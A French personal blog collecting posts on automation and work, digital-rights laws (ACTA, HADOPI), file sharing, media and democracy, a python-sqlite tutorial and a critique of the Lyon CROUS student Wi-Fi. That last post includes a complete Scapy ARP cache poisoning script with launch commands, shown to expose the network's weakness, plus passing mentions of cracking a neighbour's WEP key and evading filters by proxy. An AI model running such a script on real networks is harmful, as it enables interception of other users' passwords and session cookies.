Fred

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Article par Fred

On nous vole notre travail !

En terminale, en cours de philo, on avait étudié le thème du Travail. Eh bien, je me dis que j’aurais dû écouter. Ce qui apparaît être une notion simple et absolument pas philosophique pour le commun des mortels est en fait un minuscule aspect biaisé de toutes les notions que peut revêtir ce mot.

En bons fainéants, nous sommes certainement nombreux à avoir fomenté dans notre esprit un monde où le travail n’aurait pas du tout le même sens. Le travail, qui pourrait avoir idéalement une définition telle que « activités menées par un individu, motivées par ses centres intérêts, intégrée au sein d’autres activités nécessaires ou utiles à tout ou partie de la société », finit malheureusement dans l’écrasante majorité des cas par n’être que « activité contraignante mais rémunérée qu’effectue un individu, le rendant indisponible entre 8h à 19h du lundi au vendredi, indispensable pour ne pas être mis au banc de la société ».

Et pourquoi ? Est-ce l’issue inévitable de la notion du travail au sein de chaque modèle de société non utopique ?

Les vilains robots

Depuis maintenant deux bons siècles, heureusement, les machines viennent à la rescousse nous voler notre travail. Sauf qu’elles le font mieux, moins cher, et plus vite.
Funny fact : En 1765, James Hargreaves invente un métier à tisser où l’on peut poser huit broches. Hargreaves est un ouvrier tisserand illettré. Sa machine est détruite par des ouvriers tisseurs furieux de perdre leur travail, et il meurt dans la pauvreté.

Bon, c’est pas grave, personne ne veut plus être collé toute sa vie derrière un métier à tisser ? Si ?

Sauf qu’en 2013, les robots nous volent nos jobs de cuisto spécialiste du hamburger.

Bon, personne ne voulait être collé toute sa vie derrière une plaque de métal brûlante ? Si ?

Pour moi, tout ça, se sont des avancées, qui remettent les robots à leur place (au boulot), et qui remettent les humains au chômage à leur place également (au repos. Ou là où ils veulent vraiment être).

Certes, en pratique, ça a réellement pour effet de détruire des emplois, mais en même temps, pourquoi aurait on forcément besoin de ce genre de travail, « des emplois » ? Il ne faut pas perdre de vue que le but profond et originel de la vie n’est pas de cotiser 42 ans. Les emplois, le « travail salarié », ne sont qu’un moyen, pas un but. Si on peut se passer de ce moyen en en trouvant un moins contraignant, tant mieux !

Le problème, c’est que notre mode de société bancal a donné une certaine importance à l’emploi qui fait que sans celui ci, c’est la mouise. Pour embrasser au mieux les innovations qui pourraient servir la société dans son ensemble, il faudrait donc auparavant changer le fonctionnement de celle ci pour en adopter un autre… mais lequel ? Le dividende universel aurait-il son rôle à jouer là dedans ?

Jusqu’où peut on aller ?

Faut il robotiser tout ce qui peut l’être ? Cela serait une catastrophe dans beaucoup de scénarios où avoir à faire à un humain est indispensable (ou simplement plaisant). Les opinions de chaque personne divergeront probablement là dessus. Mais force est de constater que, entre les caisses automatiques au supermarché, les achats sur internet, les hotlines robotisées, tant qu’il n’y a pas de problème ou d’erreurs, on est généralement très satisfait.

Mon shaarli

Pas de posts depuis des mois, c’est en partie dû à une forme de flemme combinée à un manque de temps, et, parce qu’il faut bien rejeter la faute sur quelque chose, en partie dû au fait qu’un blog ne se prête pas à de brefs articles. Or, je tombe chaque jour ou presque sur des posts intéressants, sur des libs python en tout genre, qui mériteraient un petit mot. D’ailleurs, pour ce qui est du syntax highlight dans wordpress, j’ai jamais trop eu de succès (ni d’envie de persévérer), et je ne suis pas certain de vouloir mettre sur ce blog des bouts de codes python.

C’est donc pour ça que j’ai installé shaarli, un outil de partage de lien très pratique écrit par sebsauvage, dont le seul défaut est l’impossibilité de commenter (mais après tout, le but est de partager !). Et pour ce qui est du code, je pense les rédiger sur ce blog statique : http://fspot.org/plk . Plus d’infos, justement, sur mon shaarli ;) .

Bref, l’avenir de mes publications est flou !

Les geeks sont ils enfermés dans leur petit monde, ou est-ce l’inverse ?

Voilà la question que je me pose, à chaque fois que je parcours mes sites d’actualités et que celle-ci me choque. Et encore plus lorsque j’évoque le sujet avec d’autres gens.

J’ai l’impression d’être un original. Oui, je m’informe sur des blogs, et non, les blogs, ce n’est pas le truc de skyrock d’avant facebook (enfin, si vous me lisez, ici sur mon blog, je prêche à des convertis). Oui, sur ces blogs et ces sites d’informations « spécialisés », il est question de choses dont on n’entend pas parler à la télé.

Parce qu’elles n’intéressent que les marginaux ? Les fameux « geeks » ? On pourrait tout à fait croire que oui. Mais moi, j’ai l’impression d’avoir à faire à de véritables enjeux de société : la neutralité du Net, le logiciel libre, le combat contre les lois HADOPI, LOPPSI, le traité ACTA.

Je me dis que ce sont plutôt les autres qui cherchent l’information au mauvais endroit et qui passent à côté de ça. Cette lutte est la descendante de celle que menaient nos ancêtres de 1789. Internet est ce que les philosophes des Lumières pouvaient imaginer de mieux.

Mais, seul face à tant de gens, il y a de quoi se remettre en question. Et si je passais à côté de choses plus importantes dans l’actualité ?..

J’ai passé 5 minutes à Decitre il y a quelques jours. A peine entré, les couvertures m’aveuglent : « Sarkozy : L’impétueux », « L’Islam pour les Nuls », « Pourquoi les banlieues sont de droites »… C’est donc ça qui fait l’actualité ? Un bonhomme qui sauve la Grèce toutes les semaines, de la religion, encore et toujours ce genre de conneries ? Je passe mon chemin.

Désolé mais je n’ai vraiment pas l’impression que ces sujets ont la moindre importance vis à vis de ce qui se passe du côté du numérique. Dernier en date, le « fichier des gens honnêtes » : « La France, le premier et seul pays au monde à autoriser le fichage et la reconnaissance faciale de toute sa population. » Vous avez aussi sans doute entendu parler d’ACTA, un accord commercial discuté en secret par les lobbys, dont l’idée de fond est « comment pourrait on retreindre les libertés afin de faire plus de fric ? ». En voici quelques exemples :

  • Fouille des bagages par les agents des ayants-droit à la frontière, sur simple présomption de possession de copies d’œuvres sous copyright (art. 14 & 17)
  • Destruction des médicaments génériques à la frontière (art. 16 & 17)
  • Les fournisseurs d’accès à Internet seront « encouragés » à espionner tout ce que l’on fait sur internet (art. 27, alinéas 3 & 4)
  • Être traité comme un trafiquant de drogue, et sanctionné plus sévèrement qu’un violeur, pour avoir transporté une copie d’un film téléchargé (art. 24)
  • Le tout sous la coordination de comités réunissant États et ayants-droit qui auront le pouvoir de modifier le traité après coup : on leur signe une feuille blanche (art. 28, 36 & 42)

Quant on pense aux gens qui sont morts pour qu’on ne vive pas dans une dictature…

Bref. En voyant toutes ces infos dans le domaine étriqué de l’actualité « numérique », je me demandais si dans d’autres secteurs, il y avait des choses tout aussi préoccupantes. Je vois l’écologie, déjà. Mais pour moi, c’est déjà secondaire. Et je ne vois pas grand chose d’autre.

Alors certains penseront que c’est stupide d’aller voter en fonction de ça, mais pas moi (même si le vote utile passera sans doute par là). J’avoue qu’actuellement, toutes ces questions ne représentent que quelques lignes dans des programmes de plusieurs dizaines de pages. Mais justement, ça n’est pas normal.

Au fait, Wikipédia vient me soutenir dans ce que je dis :

Les principaux maux dont souffrirait la loi sont :

  • Lois multiples

Il s’agit de l’inflation législative galopante que nous connaissons actuellement. C’est sans doute le pire de tous les maux. Le parlement adopte de multiples lois pour des motifs divers et variés. Le problème, c’est que les députés présents ne sont pas tous juristes. Sont donc adoptées trop souvent des mesures mal écrites, incompréhensibles ou inapplicables.

  • Lois jetables

Les politiques voulant inscrire leur nom dans le marbre de la loi, ils s’empressent d’en faire adopter une. Puis on s’aperçoit que la loi a été mal écrite. Il ne reste donc plus qu’à la jeter (le plus souvent elle reste inappliquée).

  • Lois émotives

C’est une tendance forte. Elle consiste à vouloir légiférer systématiquement dès qu’un problème survient, avant même que les causes du problème soient connues. Une fois l’émotion passée, si la loi a été adoptée, on s’aperçoit souvent, là encore, que prise dans l’urgence, elle a été mal écrite.

  • Lois molles

Aussi appelées « neutrons législatifs ». C’est une loi sans contenu obligatoire, qui ne va donc avoir aucun effet en pratique. Liées aux problèmes des lois jetables et émotives.

  • Lois protectionnistes

Ce sont des lois destinées à protéger des entreprises en les préservant de la concurrence ou de l’évolution inéluctable des sciences et techniques. C’est le cas de la loi DADVSI et de HADOPI que l’on peut assimiler au fameux Locomotive Act anglais.

(On peut classer la censure des sites web au nom de la lutte contre la pédopornographie dans la catégorie « lois émotives »)

Et ne venez pas me dire que la loi, c’est aussi un détail.

Le téléchargement illégal : un manque à gagner ?

Je réalise que je n’avais jamais soulevé ce problème récurrent des débats sur le téléchargement illégal.

Ce problème, c’est l’un des fondements de la lutte acharnée du gouvernement et des lobbys. C’est l’hypothèse selon laquelle la réduction du téléchargement illégal entraînera l’augmentation des ventes des marchands de culture.

Cette hypothèse étant supposée totalement vraie, elle justifie la défense virulente de projets de lois tous plus révoltants les uns que les autres.

Mais si on nous avait menti ? Il suffit de se poser la question sérieusement. Va-t-on tuer ces pauvres petits artistes millionnaires que sont Christian Clavier et Thierry Lhermitte ? Je vais surprendre des députés UMP en disant que non. Non, le téléchargement illégal ne rend pas les riches pauvres, ne vous inquiétez pas. Certains l’ont compris, comme Lady Gaga, Radiohead ou même Noir Désir, diffusant leurs titres gratuitement sur Internet.

La gratuité et la disponibilité ne peut que les servir ; ils n’ont pas de soucis à se faire en ce qui concerne la rentabilité de leurs oeuvres car ils la savent assurée.

Ils ont bien de la chance, comparé aux pauvres petits artistes inconnus. Ce seraient donc ceux là, les grandes victimes du téléchargement illégal ?

Ben si c’était le cas, je les plaindrai, car les fichiers surveillés par hadopi (quelques centaines de films et musiques) ne sont pas les leurs, ce sont ceux des millionnaires vus précédemment. Injuste ? Mais qui a dit que Hadopi était juste ?

Non et puis, de toutes façons, c’est pas le cas. Les petits artistes comme ceux là, ce sont ceux que l’on a le plus de chances de connaître personnellement, on en a dans nos connaissances. Qu’est-ce qu’on sait d’eux ? Que leur problématique, c’est de se faire connaître, de diffuser leur musique, exactement ce que permet la mise à disposition gratuite sur Internet.

Alors oui, l’utilisation d’Internet comme outil de communication, de pub, de diffusion, de vente, clairement, ça évince les majors traditionnels (universal & co). Mais certains ont pris le tournant : http://www.mymajorcompany.com (pour la musique et le financement des artistes), ou même http://www.mywittygames.com pour financer la production de.. jeux de sociétés :)http://www.humblebundle.com est intéressant aussi : vous achetez un pack de jeux vidéos à prix libre ( = vous choisissez le prix). Vous décidez, parmi cet argent versé, combien doit être reversé aux développeurs du jeu, et combien à des oeuvres caritatives.

Tant pis pour les industries vieillissantes de la musique et du cinéma si elles n’ont pas su s’adapter, qu’elles meurent. Les gens n’arrêteront pas d’écouter ou de produire de la musique, de tourner et de regarder des films, je ne me fais pas de soucis, surtout quand de plus en plus de gens vont à des concerts et au cinéma.

Conclusion

Et si les politiques se décidaient enfin à voir en Internet une solution et non un problème ? Et s’ils arrêtaient de nous prendre le chou avec ces pauvres artistes sur la paille qu’ils prétendent défendre ? Il faut qu’ils révisent leurs hypothèses et leurs priorités. Dans le même registre, il faut qu’ils arrêtent avec cet autre argument tout pourri, celui des pédophiles qui rôdent soi disant sur le net. Je ne suis jamais tombé sur un site pédophile, et je ne tomberai probablement jamais dessus. Pourquoi ? Parce que, les sites pédophiles, ça n’existe pas vraiment, en fait. Ce rapport l’explique bien.

Le CROUS de Lyon, FAI ou pas ?

Quel est le statut du CROUS de Lyon quand celui-ci vend, pour 6 euros par mois, un code d’accès à son réseau Wi-Fi, donnant ainsi l’accès au réseau Internet ? Fournisseur d’Accès Internet ? J’imagine que non.

Parce que Internet filtré, ce n’est plus Internet. Impossible d’aller, par exemple, sur MegaUpload. Obligé de contourner cela par un proxy.

Ensuite, parce qu’un fournisseur d’accès à Internet doit, j’imagine, préciser le débit, fut-il théorique, qu’il vous vend. Là, rien n’est dit. On peut avoir de bonnes surprises, comme de très mauvaises…

Également, le code d’accès est limité à un appareil. Comment faire quand on a deux ordis ? Ou un smartphone et un ordi ? Ou les trois ? Obligé de chercher des identifiants FreeWifi ? De cracker la clé WEP du voisin ? D’utiliser son téléphone en tant que hotspot ?

Enfin, pour 6 €, vous avez droit à tout ça dans un réseau non protégé. Cela veut dire que, si vous vous êtes honnêtement acquittés de cette somme pour accéder à Facebook, vous n’êtes pas à l’abri de vous faire voler votre session par qui que ce soit.

Exemple : test.py

#! /usr/bin/python

from scapy.all import *
import sys
import time

rang = sys.argv[1]
iprouteur = sys.argv[2]

a = arping(rang, timeout=7)
d = {}
for i in range(len(a[0])) :
	d[a[0][i][1][ARP].psrc] = a[0][i][1][ARP].hwsrc

if d.has_key(iprouteur):
	d.pop(iprouteur)

while (True):
	for a in d:
		paquet_arp = Ether(dst=d[a]) / ARP(psrc=iprouteur, hwdst=d[a], pdst=a)
		sendp(paquet_arp)
	time.sleep(4)
$ sudo su
# echo 1 > /proc/sys/net/ipv4/ip_forward
# ./test.py 10.30.100-101.1-255 10.30.100.3

Ceci est une attaque de arp cache poisonning réalisable même par quelqu’un ne possédant pas de code d’accès, le faisant passer pour le routeur auprès de tous les usagers du réseau. Ainsi, tout le traffic émis par les utilisateurs passe par lui, il peut le consulter avec Wireshark par exemple, et en extraire ce que bon lui semble (mots de passes en clair, cookies pour voler votre session Facebook, Twitter, etc…).
Pas top.

Je pense qu’un code d’accès devrait être donné gratuitement à chaque étudiant, et qu’il devrait offrir un véritable accès à Internet. Quitte à ce qu’une limite de bande passante soit mise en place pour mieux répartir. Et pour sécuriser leur système : un code sous forme de clé WPA2 ?

Python SQLite

python-sqlite est un module pour Python permettant de manipuler facilement les bases de données SQLite. Je présenterai ici seulement quelques requêtes simples.

Pour l’installer sous une distribution à base de Debian :

sudo apt-get install python-sqlite

Pour l’utiliser dans un script python :

import sqlite3

Pour faire une requête de sélection sur une base de donnée :

conn = sqlite3.connect("bddemployes.sqlite")
conn.row_factory = sqlite3.Row
c = conn.cursor()
#...
c.execute("SELECT nom, prenom FROM employes ORDER BY id")
for ligne in c.fetchall() :
print ligne
#...
conn.close()

Cette requête affiche le nom et le prenom de tous les employés, a priori dans l’ordre où ils ont été insérés.

(ligne est un tuple)

Pour une suppression :

#...
c.execute("DELETE FROM employes WHERE prenom='serge'")
conn.commit()
#...

Cette requête supprime tous les employés dont le prénom est serge.

(le conn.commit est indispensable, sinon la suppression n’est pas effectuée)

Pour une insertion :

#...
c.execute("INSERT INTO employes (prenom, nom, age) VALUES ('jean', 'MARTIN', 35)")
conn.commit()
#...

Cette requête ajoute l’employé jean MARTIN, 35 ans, à la base de données.

Les champs non précisés prennent la valeur NULL (sauf ceux qui s’auto-incrémentent)

Pour une modification :

#...
c.execute("UPDATE employes SET prenom='john' WHERE nom='SMITH")
conn.commit()
#...

Cette requête va changer le prénom de tous les SMITH pour y mettre ‘john’.

Absolument rien de compliqué en somme, mais pour une utilisation basique, ces exemples suffiront :)

Si vous voulez vous entrainer, vous pouvez jouer avec les bases de données sqlite dont se sert firefox : regardez dans /home/user/.mozilla/firefox/machin.default/

Dernier truc : le logiciel multiplateforme sqliteman (dans les dépôts Debian) est un GUI sympa pour gérer des bases de données SQLite. Screenshot :

sqliteman

 

C’est^WC’était la rentrée…

Pas trop le temps d’écrire ces temps cis, entre les études (quoi que pour l’instant, le département informatique de l’INSA de Lyon n’est pas trop chronophage, mais ça ne saurait tarder), la copine fraîchement arrivée à Lyon, et les distractions personnelles.

Dans les distractions personnelles, je compte le passage d’ubuntu vers Linux Mint (base ubuntu), ce qui n’a rien de bien dépaysant, mais qui me permet d’esquiver Unity. À tous ceux qui se demanderaient « pourquoi imposent-ils cette interface aussi peu conventionnelle que configurable ? », la réponse de Mark Shuttleworth est à lire ici. En résumé, c’est pour préparer l’avenir d’ubuntu : un OS pour PC, Laptops, netbooks, tablettes, smartphones, TV, jusqu’au jour où tout aura fusionné. Bref, je suis sceptique, mais je leur souhaite bonne chance. Et au passage, un petit merci pour ubuntu tour : c’est une petite démo de l’interface générale d’ubuntu 11.10 (avec Unity donc), à tester directement dans le navigateur ! Histoire de montrer aux moldus que non, « Linux » n’est ni un virus ni un « programme en console » ;)

Autre distraction, la mise en place d’un petit serveur dans mon appart’. Aucun ventilo (proc Intel Atom), et qui fait tourner lui aussi Linux Mint (version LXDE, oui, ça n’a rien d’un OS de serveur, mais peu importe ;) ), Apache, JDownloader, et SSH.

Encore une autre, la découverte du module Scapy pour Python, un module pour manipuler les paquets réseaux, et qui permet de faire tout plein de choses intéressantes, et dont je reparlerai probablement bientôt (ce mot est à relativiser).

Et enfin, l’actualité. Actualité que j’adore suivre sur reflets.info, notamment, avec ce regard désabusé sur l’économie que j’aime tant (le regard, pas l’économie). Reflets.info en combinaison avec numerama.com pour le numérique, et on a là de la bonne lecture telle que « François Hollande change d’avis sur Hadopi et efface un ancien billet de son blog », « Une entreprise française a vendu des appareils de surveillance au gouvernement Lybien », « un eurodéputé veut installer un mouchard sur chaque appareil connecté à Internet ». Du lourd. Allez, on espère que ce nouveau mois apportera au monde la lumière, la liberté, la Net Neutrality, et la reprise en grande pompe du système capitaliste avec du +50% et du AAA partout. Ou bien du beau temps, ça sera déjà pas mal.

Médias, politiciens, démocratie…

Je m’excuse par avance pour ce billet décousu, rédigé depuis mon téléphone…

Certes, tout le monde n’est pas spécialiste en législation ou en vocabulaire technique.
Mais quand j’entends à la radio que la hadopi a envoyé 650 000 mails aux gens qui ont « partagé des fichiers en peer to peer », c’est juste faux. Ça aurait tué les journalistes de préciser « fichiers soumis aux droits d’auteur » ? Parce que la on retombe dans la crétinerie qui consiste à dire que le peer to peer est interdit.

Le même jour, je lis dans un journal que ces mails ont été envoyés aux internautes soupçonnés de « télécharger illégalement de la musique et des films. » Là, il n’est même pas fait mention du peer to peer. Et techniquement, ces internautes là sont punis pour avoir uploadé et non téléchargé ces fichiers, même si cela se fait en parallèle dans le cas du peer to peer. S’ils n’avaient fait que télécharger, ils n’auraient même pas été détectés.

Je ne parle même pas du fait que, en réalité, ces internautes sont coupables de « non sécurisation de leur connexion », et non pas d’un quelconque téléchargement. Il faut avouer que la stupidité de cette loi oblige les journalistes à faire quelques raccourcis. Mais cela ne les justifie pas pour autant. Si on part du principe que leur rôle est d’informer les citoyens, alors les journalistes ne devraient pas nous mentir.

On dit souvent que le jt de tf1 est le summum de l’abrutissement. Mais la radio et le journal papier ne valent pas mieux. Le problème n’est pas tant le type de média, mais les objectifs fixés par leurs patrons : relater des scoops en jouant sur les sentiments du client, ou faire comprendre au citoyen ce qui se trame autour de lui. Manifestement, radio scoop et le journal 20minutes ne sont donc pas des exemples, il fallait s’y attendre ;) . Problème, ce sont des médias très grand public, à l’image du jt de tf1.

Quand on est un site spécialisé, c’est relativement simple de produire un article de qualité sur le sujet, car on s’y connait, et car il suffit d’un bon lien hypertexte pour rappeler au lecteur les grandes lignes du sujet. Par contre, quand on est un média grand public autre part que sur le web, c’est impossible. Et ça se ressent dans leurs articles sur hadopi, sur les nouvelles technologies en général, sur les nouvelles lois, sur l’économie, la finance, la crise… bref, leurs articles sont souvent succincts, incomplets, mauvais. Faute de temps, faute de place, faute d’envie, aussi. Ils sont une façon pour le citoyen d’avoir une idée de ce qui se passe dans le monde, mais pas de le comprendre. Déjà qu’avec un cursus scolaire moyen, on a aucune notion de droit, d’économie ou d’informatique, ce ne sont pas les médias traditionnels qui nous aideront à nous forger des opinions sérieuses sur les enjeux actuels.

Décidément, je ne vois pas comment le français moyen, c’est à dire pas au courant du fond de ces sujets importants, peut voter intelligemment.

Entre ça et le fait qu’on a de nombreux candidats où le choix se fait entre bonnet blanc et blanc bonnet et le fait qu’on est cernés par les politiciens corrompus, je me dis que le vote ne fait qu’entretenir l’illusion de la démocratie. Le pouvoir est en réalité partagé par une petite caste de politiciens amis des lobbys, qui s’appuient sur l’ignorance populaire maintenue par les médias pour rester en place.

Idéalement, il faudrait faire en sorte que tous les citoyens aient les moyens de faire un vrai choix dicté par leur savoir et leur opinion. Dans les faits ça ne sera jamais possible.

C’est pourquoi, Platon et Montesquieu, par exemple, critiquaient la démocratie.
« Selon Platon, les simples citoyens, ignorant de la Vérité et réfléchissant surtout en fonction de leurs intérêts particuliers, ne sauraient diriger à bien la cité, et par conséquent le pouvoir du peuple ne peut que conduire celle-ci vers la corruption. Il défend ainsi au contraire l’idée que seuls devraient gouverner des philosophes rois, ou des rois philosophes. »

Dans les faits, ça non plus, ça ne serait pas possible. Pourtant, quelle utopie, de pouvoir remplacer nos lobbyistes corrompus par des gens vertueux à même de diriger…

Les guignols de l’info

En ce moment, les guignols, ce sont eux, les traders, les directeurs des banques centrales, les dirigeants de gouvernements, les chefs d’entreprises, et tous ceux qui se plaignent de la baisse de la valeur de leurs actions.

Moi ? Je n’ai d’actions nulle part, sûrement comme vous. Et, sûrement comme vous, j’ai une connaissance ridicule du système économique mondial. Enfin, je sais qu’il est mondial, déjà. On ne peut pas imaginer un état qui change de modèle économique dans son pays, car cela reviendrait probablement à le couper de l’économie mondiale. Or, la mondialisation a quand même quelques bons côtés (surtout pour les pays riches, on est d’accord…).

Je n’ai même pas d’emploi, ce ne sont donc pas les crises qui me le feront perdre. En revanche, je vais voir le prix de l’essence baisser de quelques centimes, cool.

Mais à ce niveau là, je suis un peu à part. En règle générale, les gens ont un travail. Et on en connaît tous qui ont été licenciés où mis à temps partiel suite à la crise de 2008. D’ailleurs, la plupart de ces gens, ils n’avaient pas plus d’actions que moi, ils ne sont pas responsables, mais ils ont payé.

Les gens qui ont des actions se plaignent que leur valeur baisse. Les patrons se plaignent également de voir le prix de ces actions baisser, puisqu’elles définissent la valeur de leurs entreprises. On dirait que les traders se plaignent aussi, en disant que le marché est affolé. TF1 nous gratifie de superbes courbes décroissantes, sémantiquement colorisées.

Mais bordel, ça veut dire quoi, « la bourse s’affole » ?? Ça n’est pas EUX, « la bourse » ?? Ceux là, ce petit groupe de gens qui, par leurs conneries, font perdre le travail de tant d’innocents.

La cause de la crise, en 2008 ? L’endettement des ménages. La cause du #WTFmonday d’hier ? L’endettement des USA. Ces dettes, toujours ces dettes, énormes, abyssales, qui font peur, comme celle de la Grèce, comme celle de la France, mais aussi comme celles de n’importe quel citoyen qui contracte un prêt pour sa maison ou sa voiture, comme celles de tout le Monde.

Alors comme ça, la solution serait le remboursement des dettes, les « mesures d’austérité » ? Les gouvernements n’y arrivent pas. Pourtant, Sarkozy aura essayé en privant d’argent l’éducation nationale et tant d’autres institutions, mais c’était sans compter sur ses dépenses personnelles (salaire, avion perso, hadopi…). </troll gratuit>

80 % de la masse monétaire mondiale provient de la dette. Pour rembourser une dette, il faut y rajouter des intérêts, et donc emprunter plus, ailleurs. Pas étonnant que tout ce modèle flanche, donc.

Je vous invite à lire les billets suivant, approfondissant le sujet, sur ®om’s blog :

Et au passage, celui ci aussi, très bon :)

 

Y’en a qui bossent !

Attention, ce post va paraître hypocrite ;)

Je ne me plains absolument pas de mon travail. J’ai appris qu’il existait différentes tailles d’agraphes en ruinant une agrapheuse. J’ai appris qu’il existait des pièces de 10 euros. Je sais désormais remplir des chèques.

Mais quand même, c’est dur de bosser avec une application qui tourne sur IE6. Et c’est surtout dur de se retrouver obligé de surfer avec IE6, de nos jours.

Qu’un site soit horriblement moche, je m’en fiche. Qu’il m’annonce en gros et en gras que mon navigateur est une daube infâme, pareil. Ça peut inciter les gens à passer à autre chose.

Mais de là à rediriger les gens vers une page d’erreur « votre navigateur est trop ancien, téléchargez Mozilla Firefox », c’est un peu trop. Je n’ai même plus accès au contenu que proposent ces sites (et étrangement, je n’ai pas les droits d’admin sur le PC du bureau pour installer autre chose ;) ).

J’ai déjà assez à faire avec le filtre de l’entreprise, qui bloque la catégorie « social networking » (autrement dit, les blogs). Heureusement, il ne bloque ni korben.info, ni sebsauvage.net, ni lehollandaisvolant.net, ni fspot.org (sinon je n’écrirais pas maintenant ^^).

Au passage, je remercie sebsauvage, timo et tout ceux qui ont participé au projet Autoblog, car à cause de ce filtre, il m’ont déjà rendu bien des services :) . Je pense également mettre en place cela quand j’en aurai le temps. Et puis un petit proxy web anonymiseur en PHP aussi, c’est cool.